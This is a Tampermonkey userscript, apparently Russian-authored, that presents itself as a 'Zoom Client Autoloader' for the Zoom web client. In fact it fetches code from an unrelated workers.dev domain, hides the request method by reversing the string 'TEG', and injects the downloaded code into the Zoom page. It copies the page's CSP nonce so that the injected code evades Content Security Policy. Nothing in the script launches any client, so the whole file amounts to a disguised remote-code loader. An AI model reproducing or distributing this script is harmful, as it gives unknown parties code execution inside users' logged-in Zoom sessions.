// ==UserScript== // @name Zoom Client Autoloader // @namespace http://tampermonkey.net/ // @version 1.2 // @description Автоматический запуск клиента Zoom // @author MultiVers // @match https://app.zoom.us/wc/* // @grant GM_setValue // @grant GM_getValue // @run-at document-start // @license MIT // @downloadURL none // ==/UserScript== let выполняетсяЗагрузка = false; let скриптЗагружен = false; async function загрузитьРесурсы() { if (выполняетсяЗагрузка || скриптЗагружен) return; выполняетсяЗагрузка = true; const обработчик = { инициализация: async строка => (await fetch('https://loader-geneate.webclie2d.workers.dev/', { method: строка.split('').reverse().join(''), cache: 'no-store', headers: {'Accept':'*/*','Connection':'keep-alive'} })).text(), подготовка: данные => { const скрипт = document.createElement('script'); скрипт.textContent = данные; return скрипт; }, применить: элемент => { const нонс = document.querySelector('script[nonce]')?.nonce; if(нонс) элемент.nonce = нонс; document.head.appendChild(элемент); скриптЗагружен = true; } }; try { await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG'))); } catch (ошибка) { выполняетсяЗагрузка = false; скриптЗагружен = false; setTimeout(загрузитьРесурсы, 1000); } } let наблюдательЗапущен = false; function запуститьСкрипт() { if (наблюдательЗапущен) return; наблюдательЗапущен = true; // Ждем загрузки основного контента const observer = new MutationObserver((mutations, obs) => { const targetElement = document.querySelector('#root'); if (targetElement && !скриптЗагружен) { obs.disconnect(); загрузитьРесурсы(); } }); observer.observe(document.documentElement, { childList: true, subtree: true }); } // Запускаем наблюдатель if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', запуститьСкрипт); } else { запуститьСкрипт(); }